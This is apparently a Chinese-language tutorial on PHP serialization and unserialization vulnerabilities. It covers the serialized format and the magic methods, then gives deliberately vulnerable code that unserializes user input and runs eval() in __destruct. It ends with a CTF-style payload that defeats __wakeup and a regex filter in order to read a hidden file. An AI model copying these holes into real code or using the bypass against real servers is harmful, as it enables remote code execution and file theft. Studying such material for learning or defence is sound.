$s = serialize($變量); //該函數(shù)將變量數(shù)據(jù)進(jìn)行序列化轉(zhuǎn)換為字符串
 file_put_contents(‘./目標(biāo)文本文件', $s); //將$s保存到指定文件

<?php
class User
{
  public $age = 0;
  public $name = '';

  public function PrintData()
  {
    echo 'User '.$this->name.'is'.$this->age.'years old. <br />';
  }
}
//創(chuàng)建一個(gè)對象
$user = new User();
// 設(shè)置數(shù)據(jù)
$user->age = 20;
$user->name = 'daye';

//輸出數(shù)據(jù)
$user->PrintData();
//輸出序列化之后的數(shù)據(jù)
echo serialize($user);

?>

a - array         b - boolean
d - double         i - integer
o - common object     r - reference
s - string         C - custom object
O - class         N - null
R - pointer reference   U - unicode string

O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"daye";}
對象類型:長度:"類名":類中變量的個(gè)數(shù):{類型:長度:"值";類型:長度:"值";......}

 $s = file_get_contents(‘./目標(biāo)文本文件'); //取得文本文件的內(nèi)容（之前序列化過的字符串）
 $變量 = unserialize($s); //將該文本內(nèi)容，反序列化到指定的變量中

<?php
class User
{
  public $age = 0;
  public $name = '';

  public function PrintData()
  {
    echo 'User '.$this->name.' is '.$this->age.' years old. <br />';
  }
}
//重建對象
$user = unserialize('O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"daye";}');

$user->PrintData();

?>

__construct  當(dāng)一個(gè)對象創(chuàng)建時(shí)被調(diào)用，
__destruct  當(dāng)一個(gè)對象銷毀時(shí)被調(diào)用，
__toString  當(dāng)一個(gè)對象被當(dāng)作一個(gè)字符串被調(diào)用。
__wakeup()  使用unserialize時(shí)觸發(fā)
__sleep()  使用serialize時(shí)觸發(fā)
__destruct()  對象被銷毀時(shí)觸發(fā)
__call()  在對象上下文中調(diào)用不可訪問的方法時(shí)觸發(fā)
__callStatic()  在靜態(tài)上下文中調(diào)用不可訪問的方法時(shí)觸發(fā)
__get()  用于從不可訪問的屬性讀取數(shù)據(jù)
__set()  用于將數(shù)據(jù)寫入不可訪問的屬性
__isset()  在不可訪問的屬性上調(diào)用isset()或empty()觸發(fā)
__unset()   在不可訪問的屬性上使用unset()時(shí)觸發(fā)
__toString()  把類當(dāng)作字符串使用時(shí)觸發(fā),返回值需要為字符串
__invoke()  當(dāng)腳本嘗試將對象調(diào)用為函數(shù)時(shí)觸發(fā)

<?php
class test{
 public $varr1="abc";
 public $varr2="123";
 public function echoP(){
 echo $this->varr1."<br>";
 }
 public function __construct(){
 echo "__construct<br>";
 }
 public function __destruct(){
 echo "__destruct<br>";
 }
 public function __toString(){
 return "__toString<br>";
 }
 public function __sleep(){
 echo "__sleep<br>";
 return array('varr1','varr2');
 }
 public function __wakeup(){
 echo "__wakeup<br>";
 }
}

$obj = new test(); //實(shí)例化對象，調(diào)用__construct()方法，輸出__construct
$obj->echoP();  //調(diào)用echoP()方法，輸出"abc"
echo $obj;  //obj對象被當(dāng)做字符串輸出，調(diào)用__toString()方法，輸出__toString
$s =serialize($obj); //obj對象被序列化，調(diào)用__sleep()方法，輸出__sleep
echo unserialize($s); //$s首先會被反序列化，會調(diào)用__wake()方法，被反序列化出來的對象又被當(dāng)做字符串，就會調(diào)用_toString()方法。
// 腳本結(jié)束又會調(diào)用__destruct()方法，輸出__destruct
?>

<?php
class A{
  var $test = "demo";
  function __destruct(){
      echo $this->test;
  }
}
$a = $_GET['test'];
$a_unser = unserialize($a);
?>

?test=O:1:"A":1:{s:4:"test";s:5:"lemon";}

<?php
class A{
  var $test = "demo";
  function __destruct(){
    @eval($this->test);//_destruct()函數(shù)中調(diào)用eval執(zhí)行序列化對象中的語句
  }
}
$test = $_POST['test'];
$len = strlen($test)+1;
$pp = "O:1:\"A\":1:{s:4:\"test\";s:".$len.":\"".$test.";\";}"; // 構(gòu)造序列化對象
$test_unser = unserialize($pp); // 反序列化同時(shí)觸發(fā)_destruct函數(shù)
?>

PHP5<5.6.25
PHP7<7.0.10

<?php
class Demo {
  private $file = 'Gu3ss_m3_h2h2.php';

  public function __construct($file) {
    $this->file = $file;
  }

  function __destruct() {
    echo @highlight_file($this->file, true);
  }

  function __wakeup() {
    if ($this->file != 'Gu3ss_m3_h2h2.php') {
      //the secret is in the f15g_1s_here.php
      $this->file = 'Gu3ss_m3_h2h2.php';
    }
  }
}
#先創(chuàng)建一個(gè)對象，自動調(diào)用__construct魔法函數(shù)
$obj = new Demo('f15g_1s_here.php');
#進(jìn)行序列化
$a = serialize($obj);
#使用str_replace() 函數(shù)進(jìn)行替換，來繞過正則表達(dá)式的檢查
$a = str_replace('O:4:','O:+4:',$a);
#使用str_replace() 函數(shù)進(jìn)行替換，來繞過__wakeup()魔法函數(shù)
$a = str_replace(':1:',':2:',$a);
#再進(jìn)行base64編碼
echo base64_encode($a);
?>